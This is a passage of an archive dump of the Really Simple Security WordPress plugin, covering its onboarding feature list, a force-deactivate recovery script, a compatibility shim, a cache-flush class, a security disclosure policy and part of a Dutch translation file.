					"title"     => __( "Limit Login Attempts", "really-simple-ssl" ),
					"id"        => "limit_login_attempts",
					"premium"   => true,
					"options"   => [ 'enable_limited_login_attempts' ],
					"activated" => true,
				],
				[
					"title"     => __( "Security Headers", "really-simple-ssl" ),
					"id"        => "advanced_headers",
					"premium"   => true,
					"options"   => [],
					"activated" => true,
				],
			];
		}

		return $features;
	}

	/**
	 * Returns onboarding items if user upgraded plugin to 6.0 or SSL is detected
	 * @return array
	 */
	public function pro_features (): array
    {
		return [
			[
				"title" => __("Firewall", "really-simple-ssl"),
				"id" => "firewall",
				"premium" => true,
				"options" => ['enable_firewall'],
				"activated" => true,
			],
			[
				"title" => __("Two-Factor Authentication", "really-simple-ssl"),
				"id" => "two_fa",
				"premium" => true,
				"options" => ['two_fa_enabled_roles_totp'],
                "value" => ['administrator'],
                "activated" => true,
			],
			[
				"title" => __("Limit Login Attempts", "really-simple-ssl"),
				"id" => "limit_login_attempts",
				"premium" => true,
				"options" => ['enable_limited_login_attempts'],
				"activated" => true,
			],
			[
				"title" => __("Security Headers", "really-simple-ssl"),
				"id" => "advanced_headers",
				"premium" => true,
				"options" => [  'upgrade_insecure_requests',
					'x_content_type_options',
					'hsts',
					['x_xss_protection' => 'zero'],
					'x_content_type_options',
					['x_frame_options' => 'SAMEORIGIN'],
					['referrer_policy' => 'strict-origin-when-cross-origin'],
					['csp_frame_ancestors' => 'self'],
				],
				"activated" => true,
			],
			[
				"title" => __("Vulnerability Measures", "really-simple-ssl"),
				"id" => "vulnerability_measures",
				"options" => ["enable_vulnerability_scanner", "measures_enabled"],
				"activated" => true,
			],
			[
				"title" => __("Advanced WordPress Hardening", "really-simple-ssl"),
				"id" => "advanced_hardening",
				"premium" => true,
				"options" => [ 'change_debug_log_location', 'disable_http_methods' ],
				"activated" => true,
			],
//			[
//				"title" => __("File Change Detection", "really-simple-ssl"),
//				"id" => "file_change_detection",
//				"options" => ['file_change_detection'],
//				"activated" => true,
//			],
			[
				"title" => __("Strong Password policy", "really-simple-ssl"),
				"id" => "password_security",
				"options" => ['enforce_password_security_enabled', 'enable_hibp_check'],
				"activated" => true,
			],
		];
	}

	/**
	 * Toggle modal status
	 *
	 * @param array $data
	 *
	 * @return void
	 */
	public function dismiss_modal($data): void
    {
		if (!rsssl_user_can_manage()) return;
		$dismiss =  $data['dismiss'] ?? false;
		update_option("rsssl_onboarding_dismissed", (bool) $dismiss, false);
	}

	public function maybe_redirect_to_settings_page(): void
    {
		if ( get_transient('rsssl_redirect_to_settings_page' ) ) {
			delete_transient('rsssl_redirect_to_settings_page' );
			if ( !RSSSL()->admin->is_settings_page() ) {
				wp_redirect( add_query_arg(array('page' => 'really-simple-security'), rsssl_admin_url() ) );
				exit;
			}
		}
	}

	/**
	 * Check if any of the recommended features has been disabled
	 * @return bool
	 */
	public function all_recommended_hardening_features_enabled(){
		$recommended_ids = $this->get_hardening_fields();
		foreach ($recommended_ids as $h ){
			if ( rsssl_get_option($h)!=1 ) {
				return false;
			}
		}
		return true;
	}

	private function get_hardening_fields(): array {
		$fields = rsssl_fields(false);
		//get all fields that are recommended
		$recommended = array_filter($fields, function($field){
			return isset($field['recommended']) && $field['recommended'];
		});
		//get all id's from this array
		return array_map( static function($field){
			return $field['id'];
		}, $recommended);
	}

	public function onboarding_rest_route() {
		register_rest_route( 'reallysimplessl/v1', 'onboarding', array(
			'methods'  => 'GET',
			'callback' => array($this, 'onboarding_data'),
			'permission_callback' => function () {
				return rsssl_user_can_manage();
			}
		) );
	}


	/**
	 * Update SSL detection overridden option
	 */

	public function override_ssl_detection($data) {
		if ( ! rsssl_user_can_manage() ) {
			return false;
		}
		$override_ssl = isset($data['overrideSSL']) ? $data['overrideSSL']===true : false;
		if ($override_ssl) {
			update_option('rsssl_ssl_detection_overridden', true, false );
		} else {
			delete_option('rsssl_ssl_detection_overridden' );
		}
		return ['success'=>true];
	}

	/**
	 * Logic if the activation notice should be shown
	 */

	public function show_onboarding_modal(): bool
    {
		if ( get_option("rsssl_onboarding_dismissed") ) {
			return false;
		}

		//ensure the checks have been run
		if ( !RSSSL()->admin->configuration_loaded ) {
			RSSSL()->admin->detect_configuration();
		}

		if ( RSSSL()->admin->do_wpconfig_loadbalancer_fix() && !RSSSL()->admin->wpconfig_has_fixes() ) {
			return false;
		}

		//for multisite environments, we check if the activation process was started but not completed.
		if ( is_multisite() && RSSSL()->multisite->ssl_activation_started_but_not_completed() ){
			return true;
		}

		$is_upgrade = get_option('rsssl_show_onboarding');
		if ( rsssl_get_option('ssl_enabled') && !$is_upgrade ) {
			return false;
		}

		if ( defined( "RSSSL_DISMISS_ACTIVATE_SSL_NOTICE" ) && RSSSL_DISMISS_ACTIVATE_SSL_NOTICE ) {
			return false;
		}

		//don't show in our Let's Encrypt wizard
		if ( isset( $_GET['letsencrypt'] ) ) {
			return false;
		}

		if ( ! RSSSL()->admin->wpconfig_ok() ) {
			return false;
		}

		if ( ! rsssl_user_can_manage() ) {
			return false;
		}

		return true;
	}

	/**
	 * @return void
	 *
	 * Maybe reset onboarding modal
	 */
	public function reset_onboarding(): void
    {
		//ensure onboarding triggers again so user gets to enter the license on reload.
		update_option( "rsssl_show_onboarding", true, false );
		update_option( "rsssl_onboarding_dismissed", false, false );
		update_option( "rsssl_upgraded_from_free", true, false );
	}

	/**
	 * @return string|null
	 *
	 * Generate notice based on Pro being installed or not
	 */
	public function features_subtitle(): ?string
    {
		$notice = __( "Instantly configure these essential features.", "really-simple-ssl" );

		if ( ! defined('rsssl_pro') ) {
			$notice .= ' ' . sprintf(
					__( "Please %sconsider upgrading to Pro%s to enjoy all simple and performant security features.", "really-simple-ssl" ),
					'<a href="https://really-simple-ssl.com/pro?mtm_campaign=security&mtm_source=free&mtm_content=upgrade" target="_blank">',
					'</a>'
				);
		}

		return $notice;
	}

}really-simple-ssl/onboarding/index.php000064400000000043147510273070014067 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/index.php000064400000000043147510273070011745 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/security.md000064400000001256147510273070012325 0ustar00# Security Policy

The security of our software products is essential to us and our customers. In spite of our care, procedures and best efforts it is possible that there are vulnerabilities in our software products. If you find any, please tell us as soon as possible so we can fix them.

## Reporting a Vulnerability

To report a security issue, please [email us](mailto:security@really-simple-plugins.com) with a description of the issue, the steps you took to create the issue, affected versions, and, if known, mitigations for the issue.
Please read our [Coordinated Vulnerability Disclosure Policy](https://really-simple-plugins.com/security) before reporting any vulnerabilities.really-simple-ssl/force-deactivate.txt000064400000007435147510273070014107 0ustar00<?php
/*
* Deactivation page to simply deactivate the plugin when backend is not accessible anymore
* To deactivate:
*       1) rename this file to force-deactivate.php
*       2) Go in your browser to (note use of http, not https) http://yourdomain.com/wp-content/plugins/really-simple-ssl/force-deactivate.php.
*       3) IMPORTANT! On execution, this file will automatically get renamed to .txt. If you do not run it, don't forget to change it back.
*/

?>
<html>
<body>

<?php
# No need for the template engine
define( 'WP_USE_THEMES', false );

#find the base path
define( 'BASE_PATH', find_wordpress_base_path() . "/" );
# Load WordPress Core
if ( !file_exists(BASE_PATH . 'wp-load.php') ) {
	die("WordPress not installed here");
}
//make sure the files are loaded
if (!defined('RSSSL_DOING_SYSTEM_STATUS')) define( 'RSSSL_DOING_SYSTEM_STATUS' , true);
define('RSSSL_LEARNING_MODE', true);
# Load WordPress Core
require_once( BASE_PATH . 'wp-load.php' );
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

rsssl_run_force_deactivate();
function rsssl_run_force_deactivate() {
	$core_plugin = 'really-simple-ssl/rlrsssl-really-simple-ssl.php';
	if ( ! is_plugin_active( $core_plugin ) ) {
		echo "<h1>Really Simple Security is already deactivated!</h1>";
		exit;
	}

	$step = 1;
	echo "<h1>Force deactivation of Really Simple Security</h1>";
	echo $step . ". Resetting options" . "<br>";
	//ensure we can run the code
	define( 'WP_CLI',true );
	RSSSL()->admin->deactivate();
	$step ++;

	echo $step . ". Deactivating plugin" . "<br>";
	rl_deactivate_plugin( RSSSL()->admin->plugin_dir . "/"
	                      . RSSSL()->admin->plugin_filename );

	$step ++;
	echo $step . ". Completed<b>";
	rename('force-deactivate.php' , 'force-deactivate.txt');
}

function rl_remove_plugin_from_array( $plugin, $current ) {
	$key = array_search( $plugin, $current );
	if ( false !== $key ) {
		unset( $current[ $key ] );
	}

	return $current;
}

function rl_deactivate_plugin( $plugin ) {
	$plugin = plugin_basename( trim( $plugin ) );

	if ( is_multisite() ) {

		$network_current = get_site_option( 'active_sitewide_plugins', array() );
		if ( is_plugin_active_for_network( $plugin ) ) {
			unset( $network_current[ $plugin ] );
		}
		update_site_option( 'active_sitewide_plugins', $network_current );

		//remove plugin one by one on each site
		$args = array(
			'public' => 1,
		);
		$sites = get_sites($args);
		foreach ( $sites as $site ) {
			switch_to_blog($site->blog_id);
			$current = get_option( 'active_plugins', array() );
			$current = rl_remove_plugin_from_array( $plugin, $current );
			update_option( 'active_plugins', $current );
			restore_current_blog(); //switches back to previous blog, not current, so we have to do it each loop
		}

	} else {
		$current = get_option( 'active_plugins', array() );
		$current = rl_remove_plugin_from_array( $plugin, $current );
		update_option( 'active_plugins', $current );
	}
	update_option( 'active_plugins', $current );
}

/**
 * Helper function to find Wordpress base path.
 */
function find_wordpress_base_path()
{
	$path = __DIR__;

	do {
		if (file_exists($path . "/wp-config.php")) {
			//check if the wp-load.php file exists here. If not, we assume it's in a subdir.
			if ( file_exists( $path . '/wp-load.php') ) {
				return $path;
			} else {
				//wp not in this directory. Look in each folder to see if it's there.
				if ( file_exists( $path ) && $handle = opendir( $path ) ) {
					while ( false !== ( $file = readdir( $handle ) ) ) {
						if ( $file != "." && $file != ".." ) {
							$file = $path .'/' . $file;
							if ( is_dir( $file ) && file_exists( $file . '/wp-load.php') ) {
								$path = $file;
								break;
							}
						}
					}
					closedir( $handle );
				}
			}

			return $path;
		}
	} while ($path = realpath("$path/.."));

	return false;
}



?>
</body>
</html>
really-simple-ssl/compatibility.php000064400000004221147510273070013511 0ustar00<?php
defined('ABSPATH') or die();
/**
 * File to prevent fatal errors when used with older pro versions
 * @deprecated
 */
if ( is_admin() && rsssl_user_can_manage() ) {
	class really_simple_ssl_legacy{
		public $site_has_ssl;
		public $ssl_enabled;
		public function generate_enable_link(){}
		public function find_wp_config_path(){return '-';}
		public function contains_hsts(){}
		public function get_recommended_security_headers(){return [];}
		public function notice_html(){}
	}
	class rsssl_help_legacy {
		public function get_help_tip(){}
	}
	class rsssl_mixed_content_fixer_legacy {
		public function fix_mixed_content(){}
	}
	class rsssl_multisite_legacy {
		public $ssl_enabled_networkwide;
		public $mixed_content_admin;
		public $cert_expiration_warning;
		public $selected_networkwide_or_per_site;
		public function plugin_network_wide_active(){
			return false;
		}
	}

	add_action('plugins_loaded', 'rsssl_compatibility_mode', 9);
	function rsssl_compatibility_mode() {
		if ( ! function_exists( 'get_plugin_data' ) ) {
			require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
		}
		$plugin_data = false;
		$ms_file     = WP_CONTENT_DIR . '/plugins/really-simple-ssl-pro-multisite/really-simple-ssl-pro-multisite.php';
		$pro_file    = WP_CONTENT_DIR . '/plugins/really-simple-ssl-pro/really-simple-ssl-pro.php';
		if ( file_exists( $ms_file ) && is_plugin_active('really-simple-ssl-pro-multisite/really-simple-ssl-pro-multisite.php') ) {
			$plugin_data = get_plugin_data( $ms_file, false, false );
		} else if ( file_exists( $pro_file ) && is_plugin_active('really-simple-ssl-pro/really-simple-ssl-pro.php')) {
			$plugin_data = get_plugin_data( $pro_file, false, false );
		}

		if ( $plugin_data ) {
			$version = $plugin_data['Version'] ?? false;
			if ( version_compare( $version, '6.0', '<' ) ) {
				REALLY_SIMPLE_SSL::instance()->really_simple_ssl = new really_simple_ssl_legacy();
				REALLY_SIMPLE_SSL::instance()->rsssl_mixed_content_fixer = new rsssl_mixed_content_fixer_legacy();
				REALLY_SIMPLE_SSL::instance()->rsssl_help        = new rsssl_help_legacy();
				REALLY_SIMPLE_SSL::instance()->rsssl_multisite   = new rsssl_multisite_legacy();
			}
		}

	}
}really-simple-ssl/class-cache.php000064400000006344147510273070013016 0ustar00<?php
defined( 'ABSPATH' ) or die( );
if ( ! class_exists( 'rsssl_cache' ) ) {
	class rsssl_cache {
		private static $_this;

		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( 'you cannot create a second instance.' );
			}

			self::$_this = $this;
		}

		public static function this() {
			return self::$_this;
		}

		/**
		 * Flushes the cache for popular caching plugins to prevent mixed content errors
		 * When .htaccess is changed, all traffic should flow over https, so clear cache when possible.
		 * supported: W3TC, WP fastest Cache, Zen Cache, wp_rocket
		 *
		 * @since  2.0
		 *
		 * @access public
		 *
		 */

		public function flush() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			add_action( 'admin_head', array( $this, 'maybe_flush_w3tc_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_wp_optimize_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_litespeed_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_hummingbird_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_fastest_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_autoptimize_cache' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_wp_rocket' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_cache_enabler' ) );
			add_action( 'admin_head', array( $this, 'maybe_flush_wp_super_cache' ) );
		}

		public function maybe_flush_w3tc_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( function_exists( 'w3tc_flush_all' ) ) {
				w3tc_flush_all();
			}
		}

		public function maybe_flush_wp_optimize_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( function_exists( 'wpo_cache_flush' ) ) {
				wpo_cache_flush();
			}
		}

		public function maybe_flush_litespeed_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( class_exists( 'LiteSpeed' ) ) {
				Litespeed\Purge::purge_all();
			}
		}

		public function maybe_flush_hummingbird_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( is_callable( array( 'Hummingbird\WP_Hummingbird', 'flush_cache' ) ) ) {
				Hummingbird\WP_Hummingbird::flush_cache();
			}
		}

		public function maybe_flush_fastest_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( class_exists( 'WpFastestCache' ) ) {
				// Non-static cannot be called statically ::
				( new WpFastestCache() )->deleteCache();
			}
		}

		public function maybe_flush_autoptimize_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( class_exists( 'autoptimizeCache' ) ) {
				autoptimizeCache::clearall();
			}
		}

		public function maybe_flush_wp_rocket() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( function_exists( 'rocket_clean_domain' ) ) {
				rocket_clean_domain();
			}
		}

		public function maybe_flush_cache_enabler() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( class_exists( 'Cache_Enabler' ) ) {
				Cache_Enabler::clear_complete_cache();
			}
		}

		public function maybe_flush_wp_super_cache() {
			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( function_exists( 'wp_cache_clear_cache' ) ) {
				wp_cache_clear_cache();
			}
		}
	}//class closure
}
really-simple-ssl/languages/really-simple-ssl-nl_NL.l10n.php000064400000465140147510273070017750 0ustar00<?php
return ['project-id-version'=>'8.2','report-msgid-bugs-to'=>'','last-translator'=>'','language-team'=>'Nederlands','mime-version'=>'1.0','content-type'=>'text/plain; charset=UTF-8','content-transfer-encoding'=>'8bit','pot-creation-date'=>'2024-05-07 12:56+0000','po-revision-date'=>'2024-09-19 14:39+0000','language'=>'nl_NL','x-generator'=>'Loco https://localise.biz/','plural-forms'=>'nplurals=2; plural=(n != 1);','x-loco-version'=>'2.6.11; wp-6.6.2','messages'=>[' Download the full list via the Really Simple Security dashboard.'=>' Download de volledige lijst via het Really Simple Security dashboard.',' Insecure file permissions detected on your server. Click “Fix” to let Really Simple Security resolve this, or %sdownload%s the affected files list, to resolve this manually.'=>'Onveilige bestandsrechten gedetecteerd op je server. Klik op "Repareer" om dit door Really Simple Security op te laten lossen, of %sdownload%s de lijst met bestanden om het handmatig op te lossen.',' Please note that you can always save and finish the wizard later, use our %sdocumentation%s for additional information or log a %ssupport ticket%s if you need our assistance.'=>'Je kan de wizard altijd opslaan en later voltooien, onze %sdocumentatie%s gebruiken voor aanvullende informatie of een %ssupport ticket%s registreren als je onze hulp nodig hebt.','%1$s - expires in %2$d days'=>'%1$s - verloopt in %2$d dagen','%1s %2$s added to %3$s.'=>'%1s %2$s toegevoegd aan %3$s.','%d seconds'=>'%d seconden','%d:%02d minutes'=>'%d:%02d minuten','%d:%02d:%02d hours'=>'%d:%02d:%02d uren','%s day'=>'%s dag','%s days'=>'%s dagen','%s hour'=>'%s uur','%s hours'=>'%s uren','%s is a singleton class and you cannot create a second instance.'=>'%s is een singleton class en daar kan je geen tweede instantie van creëren.','%s minutes'=>'%s minuten','%s month'=>'%s maand','%s months'=>'%s maanden','%s not in the list.'=>'%s niet in de lijst.','%s unused code remaining.'=>'%s ongebruikte code over.' . "\0" . '%s ongebruikte codes over.','%s validation failed'=>'%s validatie mislukt','%s vulnerability has been detected.'=>'%s kwetsbaarheid is gedetecteerd.' . "\0" . '%s kwetsbaarheden zijn gedetecteerd.','%s week'=>'%s week','%s, Force Update: End Process'=>'%s, Forceer update: Einde proces','%s, Force Update: Failed'=>'%s, Forceer update: Mislukt','%s, Force Update: Scheduled.'=>'%s, Forceer update: Gepland','%s, Force Update: Successful'=>'%s, Forceer update: Succesvol','%s, Quarantine: Scheduled'=>'%s, Quarantaine: Gepland','%s, Quarantine: Successful'=>'%s, Quarantaine: Succesvol','%s/%s activations available.'=>'%s/%s activaties beschikbaar.','%s: %s vulnerability found'=>'%s: %s kwetsbaarheden gevonden' . "\0" . '%s: %s kwetsbaarheden gevonden','%sActivate%s your license.'=>'%sActiveer%s je licentie.','\'date\' at \'time\'%s at %s'=>'%s om %s','(recommended)'=>'(aanbevolen)','(unknown)'=>'(onbekend)','.htaccess does not exist'=>'.htaccess bestaat niet','.htaccess in uploads not writable'=>'.htaccess in uploads map niet schrijfbaar','.htaccess not writable'=>'.htaccess niet schrijfbaar','.htaccess redirect.'=>'.htaccess redirect.','1 day'=>'1 dag','1 hour'=>'1 uur','1 year'=>'1 jaar','2 years'=>'2 jaar','30 minutes'=>'30 minuten','301 .htaccess redirect'=>'301 .htaccess redirect','301 .htaccess redirect (read instructions first)'=>'301 .htaccess redirect (lees eerst de instructies)','301 .htaccess redirect is not enabled.'=>'301 .htaccess redirect is niet ingeschakeld.','301 PHP redirect'=>'301 PHP redirect','301 SSL redirect enabled'=>'301 SSL doorverwijzing ingeschakeld','301 redirect to https set.'=>'301 redirect naar https ingesteld.','4 hours'=>'4 uren','404 Blocking'=>'404 Blokkeren','404 threshold exceeded'=>'404 drempel overschreden','48 hours (default)'=>'48 uur (standaard)','6 months'=>'6 maanden','8 hours (recommended)'=>'8 uur (aanbevolen)','<strong>Error</strong>: Captcha validation failed.'=>'<strong>Fout</strong>: Captcha validatie mislukt.','A %s vulnerability is found in %s.'=>'Een %s kwetsbaarheid is gevonden in %s.','A correctly configured Content Security Policy can protect your visitors from the most common web attacks. It all starts with denying and upgrading insecure requests on your website.'=>'Een correct geconfigureerde Content Security Policy kan je bezoekers beschermen tegen de meest voorkomende aanvallen. Het begint allemaal met het weigeren en upgraden van onveilige verzoeken op je website.','A debug.log is publicly accessibile and has a standard location. This will change the location to a randomly named folder in /wp-content/'=>'Een debug.log is publiek toegankelijk en heeft een standaard locatie. Deze optie zal de locatie veranderen in een map met willekeurige naam in /wp-content/','A definition of a site url or home url was detected in your wp-config.php, but the file is not writable.'=>'Er werd een definitie van een site URL of home URL gedetecteerd in wp-config.php, maar het bestand is niet schrijfbaar.','A firewall rule was enabled, but /the wp-content/ folder is not writable.'=>'Er is een firewall regel ingesteld, maar de /wp-content/ map is niet schrijfbaar.','A firewall rule was enabled, but the firewall does not seem to get loaded correctly.'=>'Er is een firewall regel ingeschakeld, maar de firewall lijkt niet goed te worden geladen.','A firewall rule was enabled, but the wp-config.php is not writable.'=>'Er is een firewall regel ingesteld, maar wp-config.php is niet schrijfbaar.','A lockout will occur if an IP address exceeds the threshold within the given timeframe. Select ‘%s’ if you want to disable 404 blocking.'=>'Een IP-adres wordt geblokkeerd als deze de drempel overschrijdt binnen het opgegeven tijdsbestek. Selecteer \'%s\' als je 404 Blokkeren wilt uitschakelen.','A networkwide SSL activation process has been started, but has not been completed. Please go to the SSL settings page to complete the process.'=>'Netwerkbrede SSL activatie is gestart, maar nog niet voltooid. Navigeer naar de SSL instellingen pagina om het proces te voltooien.','A quarantine for %s has been successful on %s.'=>'Quarantaine voor %s is geslaagd op %s.','A quarantine for %s scheduled on %s.'=>'Quarantaine voor %s gepland op %s.','A redirect to http was detected. This might result in redirect loops.'=>'Een redirect naar HTTP gedetecteerd. Dit kan zorgen voor redirect loops.','A required database table is missing. Please check if you have permissions to add this database table.'=>'Een vereiste databasetabel ontbreekt. Controleer of je rechten hebt om deze databasetabel toe te voegen.','A user account with administrator privileges was created outside the WordPress dashboard.'=>'Er is een gebruikersaccount met beheerdersrechten aangemaakt buiten het WordPress dashboard.','A verification code has been sent to the email address associated with your account to verify functionality.'=>'Er is een verificatiecode verzonden naar het e-mailadres dat aan je account is gekoppeld om de werking te verifiëren.','A verification code has been sent to the email address associated with your account.'=>'Er is een verificatiecode verzonden naar het e-mailadres dat aan je account is gekoppeld.','API login for user disabled.'=>'API login voor gebruiker uitgeschakeld.','Able to create destination folder'=>'In staat om doelmap te maken','About Cross Origin Policies'=>'Over Cross Origin Policies','About Essential Security Headers'=>'Over essentiële Security Headers','About HTTP Strict Transport Security'=>'Over HTTP Strict Transport Security','About Hardening'=>'Over Hardening','About Limit Login Attempts'=>'Over Beperk loginpogingen','About Vulnerabilities'=>'Over Kwetsbaarheden','About XML-RPC'=>'Over XML-RPC','About notifications'=>'Over meldingen','About the Content Security Policy'=>'Over de Content Security Policy','About the Mixed Content Scan'=>'Over de Mixed Content Scan','About the Permission Policy'=>'Over de Permission Policy','Access from %s is now allowed.'=>'Toegang vanaf %s is nu toegestaan.','Access from %s is now blocked.'=>'Toegang van %s is nu geblokkeerd.','Access from all countries in %s is now allowed.'=>'Toegang vanuit alle landen in %s is nu toegestaan.','Access from all countries in %s is now blocked.'=>'Toegang vanuit alle landen in %s is nu geblokkeerd.','Access from the selected countries is now allowed.'=>'Toegang vanuit de geselecteerde landen is nu toegestaan.','Access from the selected countries is now blocked.'=>'Toegang vanuit de geselecteerde landen is nu geblokkeerd.','Access from the selected regions is now allowed.'=>'Toegang vanuit de geselecteerde regio\'s is nu toegestaan.','Access from the selected regions is now blocked.'=>'Toegang vanuit de geselecteerde regio\'s is nu geblokkeerd.','According to our information, your hosting provider does not allow any kind of SSL installation, other then their own paid certificate. For an alternative hosting provider with SSL, see this %sarticle%s.'=>'Volgens onze informatie staat je hosting provider geen enkele vorm van SSL installatie toe, anders dan hun eigen betaalde certificaat. Voor een alternatieve hosting provider met SSL, zie dit %sartikel%s.','According to our information, your hosting provider supplies your account with an SSL certificate by default. Please contact your %shosting support%s if this is not the case.'=>'Volgens onze informatie voorziet je hostingprovider je account standaard van een SSL certificaat. Neem contact op met je %shosting provider%s als dit niet het geval is.','Account Locked'=>'Account vergrendeld','Action'=>'Actie','Activate'=>'Activeer','Activate SSL'=>'SSL inschakelen','Activate SSL per site or install a wildcard certificate to fix this.'=>'Activeer SSL per site of installeer een wildcard-certificaat om dit op te lossen.','Activate networkwide to fix this.'=>'Activeer netwerkbreed om dit op te lossen.','Activate your license for automatic updates.'=>'Activeer je licentie voor automatische updates.','Activate your license key'=>'Activeer je licentiesleutel','Activating plugin...'=>'Plugin activeren...','Active'=>'Actief','Add additional domains which can embed your website, if needed. Comma seperated.'=>'Voeg indien nodig domeinen toe die je website mogen insluiten, komma gescheiden.','Added to watchlist by 404 interceptor'=>'Toegevoegd aan de watchlist door 404 blocker','Administrator IP'=>'Beheerder IP','Advanced'=>'Geavanceerd','Advanced Hardening'=>'Geavanceerde Hardening','Advanced WordPress Hardening'=>'Geavanceerde WordPress Hardening','Advanced hardening features complement the basic hardening functions by protecting your site against advanced threats and attacks.'=>'Geavanceerde Hardening functies vullen de basis Hardening functionaliteit aan door je site te beschermen tegen geavanceerde bedreigingen en aanvallen.','Advanced hardening features to protect your site against sophisticated threats and attacks.'=>'Geavanceerde hardening functies die je site beschermen tegen geavanceerde aanvallen en gevaren.','Afghanistan'=>'Afghanistan','Africa'=>'Afrika','After completing the installation, you can continue to the next step to complete your configuration.'=>'Nadat de installatie is voltooid, kun je doorgaan naar de volgende stap om de configuratie te voltooien.','After completing the installation, you can let Really Simple Security automatically configure your site for SSL by using the \'Activate SSL\' button.'=>'Na het voltooien van de installatie kun je Really Simple Security je SSL automatisch laten configureren door op \'SSL activeren\' te klikken.','After enabling this feature, you can submit your site to %shstspreload.org%s'=>'Nadat je deze functie hebt ingeschakeld, kun je je site aanmelden bij %shstspreload.org%s','After this number of failed login attempts the user and IP address will be temporarily blocked.'=>'Na dit aantal mislukte loginpogingen worden de gebruiker en het IP-adres tijdelijk geblokkeerd.','Aland Islands'=>'Aland Eilanden','Albania'=>'Albanië','Algeria'=>'Algerije','Alias domain check is not relevant for a subdomain'=>'Alias-domeincontrole is niet relevant voor een subdomein','All'=>'Alle','All %1s were added to %2s'=>'Alle %1s zijn toegevoegd aan %2s','All recommended hardening features enabled.'=>'Alle aanbevolen hardening functies zijn ingeschakeld.','Allow'=>'Toestaan','Allow grace period'=>'Configuratieperiode toestaan','Allow only necessary third party resources to be loaded on your website, thus preventing common attacks. Use our unique learning mode to automatically configure your Content Security Policy.'=>'Laat alleen noodzakelijke bronnen van derden toe op je website en voorkom zo veelvoorkomende aanvallen. Gebruik onze unieke zelflerende modus om je Content Security Policy automatisch te configureren.','Allow visitors that might accidentally exceed the threshold to unblock themselves using a Captcha.'=>'Laat bezoekers die per ongeluk de drempel overschrijden zichzelf deblokkeren met een Captcha.','Allow your domain to be embedded'=>'Sta toe dat je domein wordt ingesloten','Allowed'=>'Toegestaan','Allows you to enter a custom login URL.'=>'Staat je toe een aangepaste login URL in te voeren.','American Samoa'=>'Amerikaans-Samoa','An SSL certificate has been detected'=>'Er is een SSL certificaat gedetecteerd','An automatic update for %s failed on %s.'=>'Een automatische update voor %s is mislukt op %s.','An automatic update for %s has been scheduled due to the discovery of a vulnerability on %s'=>'Er is een automatische update voor %s gepland vanwege de ontdekking van een kwetsbaarheid op %s','An automatic update for %s has been successful on %s.'=>'Een automatische update voor %s is geslaagd op %s.','An error occurred while adding countries to the list.'=>'Er is een fout opgetreden bij het toevoegen van landen aan de lijst.','An error occurred while adding regions to the list.'=>'Er is een fout opgetreden tijdens het toevoegen van regio\'s aan de lijst.','An error occurred while removing countries from the list.'=>'Er is een fout opgetreden bij het verwijderen van landen uit de lijst.','An error occurred while removing regions from the list.'=>'Er is een fout opgetreden bij het verwijderen van regio\'s uit de lijst.','An error occurred, please try again.'=>'Er is een fout opgetreden, probeer het opnieuw.','An error occurred:'=>'Er is een fout opgetreden:','An error occurred: '=>'Er heeft zich een fout voorgedaan:','An option that requires the .htaccess file in the uploads directory is enabled, but the file is not writable.'=>'Er is een functie ingeschakeld die een .htaccess bestand in de uploads map vereist, maar het bestand is niet schrijfbaar.','An option that requires the .htaccess file is enabled, but the file does not exist.'=>'Er is een functie ingeschakeld die een .htaccess bestand vereist, maar het bestand bestaat niet.','An option that requires the .htaccess file is enabled, but the file is not writable.'=>'Er is een functie ingeschakeld die een .htaccess bestand vereist, maar het bestand is niet schrijfbaar.','Andorra'=>'Andorra','Angola'=>'Angola','Anguilla'=>'Anguilla','Antarctica'=>'Antartica','Antigua and Barbuda'=>'Antigua en Barbuda','Argentina'=>'Argentinië','Armenia'=>'Armenie','Aruba'=>'Aruba','As Really Simple Security handles all the functionality this plugin provides, we recommend to disable this plugin to prevent unexpected behavior.'=>'Omdat Really Simple Security alle functionaliteit verzorgt die deze plugin biedt, raden we aan deze plugin uit te schakelen om onverwacht gedrag te voorkomen.','As a security precaution, the username ‘admin’ has been changed on %s. From now on, you can login with \'%s\' or an email address.'=>'Uit veiligheidsoverwegingen is de gebruikersnaam ‘admin’ gewijzigd op %s. Vanaf nu kun je inloggen met ‘%s’ of een e-mailadres.','As your order will be regenerated, you\'ll need to update your DNS text records.'=>'Aangezien je order zal worden geregenereerd, moet je je DNS-tekstrecords bijwerken.','Asia'=>'Azië','Attempting to install certificate using AutoSSL...'=>'Proberen het certificaat te installeren via AutoSSL...','Attempting to install certificate...'=>'Proberen het certificaat te installeren...','Attempting to set DNS txt record...'=>'Proberen het DNS txt record in te stellen...','Australia'=>'Australië','Austria'=>'Oostenrijk','Authenticate'=>'Authenticeren','Authentication'=>'Authenticatie','Authentication Code:'=>'Authenticatiecode:','Authentication code is incorrect.'=>'Authenticatiecode is onjuist.','Authentication codes will be sent to %s.'=>'Authenticatiecodes worden verzonden naar %s.','Authentication provider not specified.'=>'Authenticatieprovider niet gekozen.','Authenticator App'=>'Authenticator App','Authenticator App (TOTP)'=>'Authenticator App (TOTP)','Authenticator app'=>'Authenticator app','Authorization not completed yet.'=>'Autorisatie nog niet voltooid.','Automated Measures'=>'Geautomatiseerde maatregelen','Automatic certificate detection is not possible on your server.'=>'Automatische certificaatdetectie is niet mogelijk op je server.','Automatic renewal of your certificate was not possible. The SSL certificate should be %srenewed%s manually.'=>'Automatische 